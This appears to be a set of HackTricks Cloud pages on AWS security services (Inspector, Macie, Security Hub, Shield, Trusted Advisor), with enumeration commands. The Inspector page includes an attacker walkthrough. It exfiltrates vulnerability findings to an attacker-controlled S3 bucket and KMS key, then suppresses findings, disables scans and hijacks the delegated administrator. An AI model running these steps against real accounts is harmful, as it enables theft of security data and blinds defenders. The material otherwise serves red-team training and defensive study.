A Software Bill of Materials (SBOM) in Amazon Inspector is an exportable nested inventory list detailing all the components within a software package, including libraries and dependencies. SBOMs help provide transparency into the software supply chain, enabling better vulnerability management and compliance. They are crucial for identifying and mitigating risks associated with open source and third-party software components.
### Key features
#### Export findings
Amazon Inspector offers the capability to export findings to Amazon S3 Buckets, Amazon EventBridge and AWS Security Hub, which enables you to generate detailed reports of identified vulnerabilities and exposures for further analysis or sharing at a specific date and time. This feature supports various output formats such as CSV and JSON, making it easier to integrate with other tools and systems. The export functionality allows customization of the data included in the reports, enabling you to filter findings based on specific criteria like severity, resource type, or date range and including by default all of your findings in the current AWS Region with an Active status.
When exporting findings, a Key Management Service (KMS) key is necessary to encrypt the data during export. KMS keys ensure that the exported findings are protected against unauthorized access, providing an extra layer of security for sensitive vulnerability information.
#### Amazon EC2 instances scanning
Amazon Inspector offers robust scanning capabilities for Amazon EC2 instances to detect vulnerabilities and security issues. Inspector compared extracted metadata from the EC2 instance against rules from security advisories in order to produce package vulnerabilities and network reachability issues. These scans can be performed through **agent-based** or **agentless** methods, depending on the **scan mode** settings configuration of your account.
* **Agent-Based**: Utilizes the AWS Systems Manager (SSM) agent to perform in-depth scans. This method allows for comprehensive data collection and analysis directly from the instance.
* **Agentless**: Provides a lightweight alternative that does not require installing an agent on the instance, creating an EBS snapshot of every volume of the EC2 instance, looking for vulnerabilities, and then deleting it; leveraging existing AWS infrastructure for scanning.
The scan mode determines which method will be used to perform EC2 scans:
* **Agent-Based**: Involves installing the SSM agent on EC2 instances for deep inspection.
* **Hybrid Scanning**: Combines both agent-based and agentless methods to maximize coverage and minimize performance impact. In those EC2 instances where the SSM agent is installed, Inspector will perform an agent-based scan, and for those where there is no SSM agent, the scan performed will be agentless.
Another important feature is the **deep inspection** for EC2 Linux instances. This feature offers thorough analysis of the software and configuration of EC2 Linux instances, providing detailed vulnerability assessments, including operating system vulnerabilities, application vulnerabilities, and misconfigurations, ensuring a comprehensive security evaluation. This is achieved through the inspection of **custom paths** and all of its sub-directories. By default, Amazon Inspector will scan the following, but each member account can define up to 5 more custom paths, and each delegated administrator up to 10:
* `/usr/lib`
* `/usr/lib64`
* `/usr/local/lib`
* `/usr/local/lib64`
#### Amazon ECR container images scanning
Amazon Inspector provides robust scanning capabilities for Amazon Elastic Container Registry (ECR) container images, ensuring that package vulnerabilities are detected and managed efficiently.
* **Basic Scanning**: This is a quick and lightweight scan that identifies known OS packages vulnerabilities in container images using a standard set of rules from the open-source Clair project. With this scanning configuration, your repositories will be scanned on push, or performing manual scans.
* **Enhanced Scanning**: This option adds the continuous scanning feature in addition to the on push scan. Enhanced scanning dives deeper into the layers of each container image to identify vulnerabilities in OS packages and in programming languages packages with higher accuracy. It analyzes both the base image and any additional layers, providing a comprehensive view of potential security issues.
#### Amazon Lambda functions scanning
Amazon Inspector includes comprehensive scanning capabilities for AWS Lambda functions and its layers, ensuring the security and integrity of serverless applications. Inspector offers two types of scanning for Lambda functions:
* **Lambda standard scanning**: This default feature identifies software vulnerabilities in the application package dependencies added to your Lambda function and layers. For instance, if your function uses a version of a library like python-jwt with a known vulnerability, it generates a finding.
* **Lambda code scanning**: Analyzes custom application code for security issues, detecting vulnerabilities like injection flaws, data leaks, weak cryptography, and missing encryption. It captures code snippets highlighting detected vulnerabilities, such as hardcoded credentials. Findings include detailed remediation suggestions and code snippets for fixing the issues.
#### **Center for Internet Security (CIS) scans**
Amazon Inspector includes CIS scans to benchmark Amazon EC2 instance operating systems against best practice recommendations from the Center for Internet Security (CIS). These scans ensure configurations adhere to industry-standard security baselines.
* **Configuration**: CIS scans evaluate if system configurations meet specific CIS Benchmark recommendations, with each check linked to a CIS check ID and title.
* **Execution**: Scans are performed or scheduled based on instance tags and defined schedules.
* **Results**: Post-scan results indicate which checks passed, skipped, or failed, providing insight into the security posture of each instance.
### Enumeration
```bash
# Administrator and member accounts #
## Retrieve information about the AWS Inpsector delegated administrator for your organization (ReadOnlyAccess policy is enough for this)
aws inspector2 get-delegated-admin-account
## List the members who are associated with the AWS Inspector administrator account (ReadOnlyAccess policy is enough for this)
aws inspector2 list-members [--only-associated | --no-only-associated]
## Retrieve information about a member account (ReadOnlyAccess policy is enough for this)
aws inspector2 get-member --account-id <value>
## Retrieve the status of AWS accounts within your environment (ReadOnlyAccess policy is enough for this)
aws inspector2 batch-get-account-status [--account-ids <value>]
## Retrieve the free trial status for the specified accounts (ReadOnlyAccess policy is enough for this)
aws inspector2 batch-get-free-trial-info --account-ids <value>
## Retrieve the EC2 Deep Inspection status for the member accounts (Requires to be the delegated administrator)
aws inspector2 batch-get-member-ec2-deep-inspection-status [--account-ids <value>]
## List an account's permissions associated with AWS Inspector
aws inspector2 list-account-permissions
# Findings #
## List a subset of information of the findings for your envionment (ReadOnlyAccess policy is enough for this)
aws inspector2 list-findings
## Retrieve vulnerability intelligence details for the specified findings
aws inspector2 batch-get-finding-details --finding-arns <value>
## List statistical and aggregated finding data (ReadOnlyAccess policy is enough for this)
aws inspector2 list-finding-aggregations --aggregation-type <FINDING_TYPE | PACKAGE | TITLE | REPOSITORY | AMI | AWS_EC2_INSTANCE | AWS_ECR_CONTAINER | IMAGE_LAYER\
| ACCOUNT AWS_LAMBDA_FUNCTION | LAMBDA_LAYER> [--account-ids <value>]
## Retrieve code snippet information about one or more specified code vulnerability findings
aws inspector2 batch-get-code-snippet --finding-arns <value>
## Retrieve the status for the specified findings report (ReadOnlyAccess policy is enough for this)
aws inspector2 get-findings-report-status --report-id <value>
# CIS #
## List CIS scan configurations (ReadOnlyAccess policy is enough for this)
aws inspector2 list-cis-scan-configurations
## List the completed CIS scans (ReadOnlyAccess policy is enough for this)
aws inspector2 list-cis-scans
## Retrieve a report from a completed CIS scan
aws inspector2 get-cis-scan-report --scan-arn <value> [--target-accounts <value>]
## Retrieve details about the specific CIS scan over the specified resource
aws inspector2 get-cis-scan-result-details --account-id <value> --scan-arn <value> --target-resource-id <value>
## List CIS scan results broken down by check
aws inspector2 list-cis-scan-results-aggregated-by-checks --scan-arn <value>
## List CIS scan results broken down by target resource
aws inspector2 list-cis-scan-results-aggregated-by-target-resource --scan-arn <value>
# Configuration #
## Describe AWS Inspector settings for AWS Organization (ReadOnlyAccess policy is enough for this)
aws inspector2 describe-organization-configuration
## Retrieve the configuration settings about EC2 scan and ECR re-scan
aws inspector2 get-configuration
## Retrieve EC2 Deep Inspection configuration associated with your account
aws inspector2 get-ec2-deep-inspection-configuration
# Miscellaneous #
## Retrieve the details of a Software Bill of Materials (SBOM) report
aws inspector2 get-sbom-export --report-id <value>
## Retrieve the coverage details for the specified vulnerabilities
aws inspector2 search-vulnerabilities --filter-criteria <vulnerabilityIds=id1,id2..>
## Retrieve the tags attached to the specified resource
aws inspector2 list-tags-for-resource --resource-arn <value>
## Retrieve the AWS KMS key used to encrypt the specified code snippets
aws inspector2 get-encryption-key --resource-type <AWS_EC2_INSTANCE | AWS_ECR_CONTAINER_IMAGE | AWS_ECR_REPOSITORY | AWS_LAMBDA_FUNCTION> --scan-type <NETWORK | PACKAGE | CODE>
## List the filters associated to your AWS account
aws inspector2 list-filters
## List the types of statistics AWS Inspector can generate (ReadOnlyAccess policy is enough for this)
aws inspector2 list-coverage
## Retrieve statistical data and about the resources AWS Inspector monitors (ReadOnlyAccess policy is enough for this)
aws inspector2 list-coverage-statistics
## List the aggregated usage total over the last 30 days
aws inspector2 list-usage-totals [--account-ids <value>]
### INSPECTOR CLASSIC ###
## Assessments info, there is a "describe" action for each one to get more info
aws inspector list-assessment-runs
aws inspector list-assessment-targets
aws inspector list-assessment-templates
aws inspector list-event-subscriptions
## Get findings
aws inspector list-findings
## Get exclusions
aws inspector list-exclusions --assessment-run-arn <arn>
## Rule packages
aws inspector list-rules-packages
```
### Post Exploitation
{% hint style="success" %}
From an attackers perspective, this service can help the attacker to find vulnerabilities and network exposures that could help him to compromise other instances/containers.
However, an attacker could also be interested in disrupting this service so the victim cannot see vulnerabilities (all or specific ones).
{% endhint %}
#### `inspector2:CreateFindingsReport`, `inspector2:CreateSBOMReport`
An attacker could generate detailed reports of vulnerabilities or software bill of materials (SBOMs) and exfiltrate them from your AWS environment. This information could be exploited to identify specific weaknesses, outdated software, or insecure dependencies, enabling targeted attacks.
```bash
# Findings report
aws inspector2 create-findings-report --report-format <CSV | JSON> --s3-destination <bucketName=string,keyPrefix=string,kmsKeyArn=string> [--filter-criteria <value>]
# SBOM report
aws inspector2 create-sbom-report --report-format <CYCLONEDX_1_4 | SPDX_2_3> --s3-destination <bucketName=string,keyPrefix=string,kmsKeyArn=string> [--resource-filter-criteria <value>]
```
The following example shows how to exfiltrate all the Active findings from Amazon Inspector to an attacker controlled Amazon S3 Bucket with an attacker controlled Amazon KMS key:
1. **Create an Amazon S3 Bucket** and attach a policy to it in order to be accessible from the victim Amazon Inspector:
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "allow-inspector",
"Effect": "Allow",
"Principal": {
"Service": "inspector2.amazonaws.com"
},
"Action": [
"s3:PutObject",
"s3:PutObjectAcl",
"s3:AbortMultipartUpload"
],
"Resource": "arn:aws:s3:::inspector-findings/*",
"Condition": {
"StringEquals": {
"aws:SourceAccount": "<victim-account-id>"
},
"ArnLike": {
"aws:SourceArn": "arn:aws:inspector2:us-east-1:<victim-account-id>:report/*"
}
}
}
]
}
```
2. **Create an Amazon KMS key** and attach a policy to it in order to be usable by the victims Amazon Inspector:
```json
{
"Version": "2012-10-17",
"Id": "key-policy",
"Statement": [
{
...
},
{
"Sid": "Allow victim Amazon Inspector to use the key",
"Effect": "Allow",
"Principal": {
"Service": "inspector2.amazonaws.com"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*",
"Condition": {
"StringEquals": {
"aws:SourceAccount": "<victim-account-id>"
}
}
}
]
}
```
3. Execute the command to **create the findings report** exfiltrating it:
```bash
aws --region us-east-1 inspector2 create-findings-report --report-format CSV --s3-destination bucketName=<attacker-bucket-name>,keyPrefix=exfiltration_,kmsKeyArn=arn:aws:kms:us-east-1:123456789012:key/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f
```
* **Potential Impact**: Generation and exfiltration of detailed vulnerability and software reports, gaining insights into specific vulnerabilities and security weaknesses.
#### `inspector2:CancelFindingsReport`, `inspector2:CancelSbomExport`
An attacker could cancel the generation of the specified findings report or SBOM report, preventing security teams from receiving timely information about vulnerabilities and software bill of materials (SBOMs), delaying the detection and remediation of security issues.
```bash
# Cancel findings report generation
aws inspector2 cancel-findings-report --report-id <value>
# Cancel SBOM report generatiom
aws inspector2 cancel-sbom-export --report-id <value>
```
* **Potential Impact**: Disruption of security monitoring and prevention of timely detection and remediation of security issues.
#### `inspector2:CreateFilter`, `inspector2:UpdateFilter`, `inspector2:DeleteFilter`
An attacker with these permissions would be able manipulate the filtering rules that determine which vulnerabilities and security issues are reported or suppressed (if the **action** is set to SUPPRESS, a suppression rule would be created). This could hide critical vulnerabilities from security administrators, making it easier to exploit these weaknesses without detection. By altering or removing important filters, an attacker could also create noise by flooding the system with irrelevant findings, hindering effective security monitoring and response.
```bash
# Create
aws inspector2 create-filter --action <NONE | SUPPRESS> --filter-criteria <value> --name <value> [--reason <value>]
# Update
aws inspector2 update-filter --filter-arn <value> [--action <NONE | SUPPRESS>] [--filter-criteria <value>] [--reason <value>]
# Delete
aws inspector2 delete-filter --arn <value>
```
* **Potential Impact**: Concealment or suppression of critical vulnerabilities, or flooding the system with irrelevant findings.
#### `inspector2:DisableDelegatedAdminAccount`, (`inspector2:EnableDelegatedAdminAccount` & `organizations:ListDelegatedAdministrators` & `organizations:EnableAWSServiceAccess` & `iam:CreateServiceLinkedRole`)
An attacker could significantly disrupt the security management structure.
* Disabling the delegated admin account, the attacker could prevent the security team from accessing and managing Amazon Inspector settings and reports.
* Enabling an unauthorized admin account would allow an attacker to control security configurations, potentially disabling scans or modifying settings to hide malicious activities.
{% hint style="warning" %}
It is required for the unauthorized account to be in the same Organization as the victim in order to become the delegated administrator.
In order for the unauthorized account to become the delegated administrator, it is also required that after the legitimate delegated administrator is disabled, and before the unauthorized account is enabled as the delegated administrator, the legitimate administrator must be deregistered as the delegated administrator from the organization. . This can be done with the following command (**`organizations:DeregisterDelegatedAdministrator`** permission required): **`aws organizations deregister-delegated-administrator --account-id <legit-account-id> --service-principal [inspector2.amazonaws.com](http://inspector2.amazonaws.com/)`**
{% endhint %}
```bash
# Disable
aws inspector2 disable-delegated-admin-account --delegated-admin-account-id <value>
# Enable
aws inspector2 enable-delegated-admin-account --delegated-admin-account-id <value>
```
* **Potential Impact**: Disruption of the security management.
#### `inspector2:AssociateMember`, `inspector2:DisassociateMember`
An attacker could manipulate the association of member accounts within an Amazon Inspector organization. By associating unauthorized accounts or disassociating legitimate ones, an attacker could control which accounts are included in security scans and reporting. This could lead to critical accounts being excluded from security monitoring, enabling the attacker to exploit vulnerabilities in those accounts without detection.
{% hint style="warning" %}
This action requires to be performed by the delegated administrator.
{% endhint %}
```bash
# Associate
aws inspector2 associate-member --account-id <value>
# Disassociate
aws inspector2 disassociate-member --account-id <value>
```
* **Potential Impact**: Exclusion of key accounts from security scans, enabling undetected exploitation of vulnerabilities.
#### `inspector2:Disable`, (`inspector2:Enable` & `iam:CreateServiceLinkedRole`)
An attacker with the `inspector2:Disable` permission would be able to disable security scans on specific resource types (EC2, ECR, Lambda, Lambda code) over the specified accounts, leaving parts of the AWS environment unmonitored and vulnerable to attacks. In addition, owing the **`inspector2:Enable`** & **`iam:CreateServiceLinkedRole`** permissions, an attacker could then re-enable scans selectively to avoid detection of suspicious configurations.
{% hint style="warning" %}
This action requires to be performed by the delegated administrator.
{% endhint %}
```bash
# Disable
aws inspector2 disable --account-ids <value> [--resource-types <{EC2, ECR, LAMBDA, LAMBDA_CODE}>]
# Enable
aws inspector2 enable --resource-types <{EC2, ECR, LAMBDA, LAMBDA_CODE}> [--account-ids <value>]
```
* **Potential Impact**: Creation of blind spots in the security monitoring.
#### `inspector2:UpdateOrganizationConfiguration`
An attacker with this permission would be able to update the configurations for your Amazon Inspector organization, affecting the default scanning features enabled for new member accounts.
{% hint style="warning" %}
This action requires to be performed by the delegated administrator.
{% endhint %}
```bash
aws inspector2 update-organization-configuration --auto-enable <ec2=true|false,ecr=true|false,lambda=true|false,lambdaCode=true|false>
```
* **Potential Impact**: Alter security scan policies and configurations for the organization.
#### `inspector2:TagResource`, `inspector2:UntagResource`
An attacker could manipulate tags on AWS Inspector resources, which are critical for organizing, tracking, and automating security assessments. By altering or removing tags, an attacker could potentially hide vulnerabilities from security scans, disrupt compliance reporting, and interfere with automated remediation processes, leading to unchecked security issues and compromised system integrity.
```bash
aws inspector2 tag-resource --resource-arn <value> --tags <value>
aws inspector2 untag-resource --resource-arn <value> --tag-keys <value>
```
* **Potential Impact**: Hiding of vulnerabilities, disruption of compliance reporting, disruption of security automation and disruption of cost allocation.
## References
* [https://docs.aws.amazon.com/inspector/latest/user/what-is-inspector.html](https://docs.aws.amazon.com/inspector/latest/user/what-is-inspector.html)
* [https://docs.aws.amazon.com/service-authorization/latest/reference/list\_amazoninspector2.html](https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazoninspector2.html)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,145 @@
# AWS - Macie Enum
## AWS - Macie Enum
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Macie
Amazon Macie stands out as a service designed to **automatically detect, classify, and identify data** within an AWS account. It leverages **machine learning** to continuously monitor and analyze data, primarily focusing on detecting and alerting against unusual or suspicious activities by examining **cloud trail event** data and user behavior patterns.
Key Features of Amazon Macie:
1. **Active Data Review**: Employs machine learning to review data actively as various actions occur within the AWS account.
2. **Anomaly Detection**: Identifies irregular activities or access patterns, generating alerts to mitigate potential data exposure risks.
3. **Continuous Monitoring**: Automatically monitors and detects new data in Amazon S3, employing machine learning and artificial intelligence to adapt to data access patterns over time.
4. **Data Classification with NLP**: Utilizes natural language processing (NLP) to classify and interpret different data types, assigning risk scores to prioritize findings.
5. **Security Monitoring**: Identifies security-sensitive data, including API keys, secret keys, and personal information, helping to prevent data leaks.
Amazon Macie is a **regional service** and requires the 'AWSMacieServiceCustomerSetupRole' IAM Role and an enabled AWS CloudTrail for functionality.
### Alert System
Macie categorizes alerts into predefined categories like:
* Anonymized access
* Data compliance
* Credential Loss
* Privilege escalation
* Ransomware
* Suspicious access, etc.
These alerts provide detailed descriptions and result breakdowns for effective response and resolution.
### Dashboard Features
The dashboard categorizes data into various sections, including:
* S3 Objects (by time range, ACL, PII)
* High-risk CloudTrail events/users
* Activity Locations
* CloudTrail user identity types, and more.
### User Categorization
Users are classified into tiers based on the risk level of their API calls:
* **Platinum**: High-risk API calls, often with admin privileges.
* **Gold**: Infrastructure-related API calls.
* **Silver**: Medium-risk API calls.
* **Bronze**: Low-risk API calls.
### Identity Types
Identity types include Root, IAM user, Assumed Role, Federated User, AWS Account, and AWS Service, indicating the source of requests.
### Data Classification
Data classification encompasses:
* Content-Type: Based on detected content type.
* File Extension: Based on file extension.
* Theme: Categorized by keywords within files.
* Regex: Categorized based on specific regex patterns.
The highest risk among these categories determines the file's final risk level.
### Research and Analysis
Amazon Macie's research function allows for custom queries across all Macie data for in-depth analysis. Filters include CloudTrail Data, S3 Bucket properties, and S3 Objects. Moreover, it supports inviting other accounts to share Amazon Macie, facilitating collaborative data management and security monitoring.
### Enumeration
```
# Get buckets
aws macie2 describe-buckets
# Org config
aws macie2 describe-organization-configuration
# Get admin account (if any)
aws macie2 get-administrator-account
aws macie2 list-organization-admin-accounts # Run from the management account of the org
# Get macie account members (run this form the admin account)
aws macie2 list-members
# Check if automated sensitive data discovey is enabled
aws macie2 get-automated-discovery-configuration
# Get findings
aws macie2 list-findings
aws macie2 get-findings --finding-ids <ids>
aws macie2 list-findings-filters
aws macie2 get -findings-filters --id <id>
# Get allow lists
aws macie2 list-allow-lists
aws macie2 get-allow-list --id <id>
# Get different info
aws macie2 list-classification-jobs
aws macie2 list-classification-scopes
aws macie2 list-custom-data-identifiers
```
#### Post Exploitation
{% hint style="success" %}
From an attackers perspective, this service isn't made to detect the attacker, but to detect sensitive information in the stored files. Therefore, this service might **help an attacker to find sensitive info** inside the buckets.\
However, maybe an attacker could also be interested in disrupting it in order to prevent the victim from getting alerts and steal that info easier.
{% endhint %}
TODO: PRs are welcome!
## References
* [https://cloudacademy.com/blog/introducing-aws-security-hub/](https://cloudacademy.com/blog/introducing-aws-security-hub/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,89 @@
# AWS - Security Hub Enum
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Security Hub
**Security Hub** collects security **data** from **across AWS accounts**, services, and supported third-party partner products and helps you **analyze your security** trends and identify the highest priority security issues.
It **centralizes security related alerts across accounts**, and provides a UI for viewing these. The biggest limitation is it **does not centralize alerts across regions**, only across accounts
**Characteristics**
* Regional (findings don't cross regions)
* Multi-account support
* Findings from:
* Guard Duty
* Config
* Inspector
* Macie
* third party
* self-generated against CIS standards
## Enumeration
```
# Get basic info
aws securityhub describe-hub
# Get securityhub org config
aws securityhub describe-organization-configuration #If the current account isn't the security hub admin, you will get an error
# Get the configured admin for securityhub
aws securityhub get-administrator-account
aws securityhub get-master-account # Another way
aws securityhub list-organization-admin-accounts # Another way
# Get enabled standards
aws securityhub get-enabled-standards
# Get the findings
aws securityhub get-findings
# Get insights
aws securityhub get-insights
# Get Automation rules (must be from the admin account)
aws securityhub list-automation-rules
# Get members (must be from the admin account)
aws securityhub list-members
aws securityhub get-members --account-ids <acc-id>
```
## Bypass Detection
TODO, PRs accepted
## References
* [https://cloudsecdocs.com/aws/services/logging/other/#general-info](https://cloudsecdocs.com/aws/services/logging/other/#general-info)
* [https://docs.aws.amazon.com/securityhub/latest/userguide/what-is-securityhub.html](https://docs.aws.amazon.com/securityhub/latest/userguide/what-is-securityhub.html)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,41 @@
# AWS - Shield Enum
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Shield
AWS Shield has been designed to help **protect your infrastructure against distributed denial of service attacks**, commonly known as DDoS.
**AWS Shield Standard** is **free** to everyone, and it offers **DDoS protection** against some of the more common layer three, the **network layer**, and layer four, **transport layer**, DDoS attacks. This protection is integrated with both CloudFront and Route 53.
**AWS Shield advanced** offers a **greater level of protection** for DDoS attacks across a wider scope of AWS services for an additional cost. This advanced level offers protection against your web applications running on EC2, CloudFront, ELB and also Route 53. In addition to these additional resource types being protected, there are enhanced levels of DDoS protection offered compared to that of Standard. And you will also have **access to a 24-by-seven specialized DDoS response team at AWS, known as DRT**.
Whereas the Standard version of Shield offered protection against layer three and layer four, **Advanced also offers protection against layer seven, application, attacks.**
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,97 @@
# AWS - Trusted Advisor Enum
## AWS - Trusted Advisor Enum
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## AWS Trusted Advisor Overview
Trusted Advisor is a service that **provides recommendations** to optimize your AWS account, aligning with **AWS best practices**. It's a service that operates across multiple regions. Trusted Advisor offers insights in four primary categories:
1. **Cost Optimization:** Suggests how to restructure resources to reduce expenses.
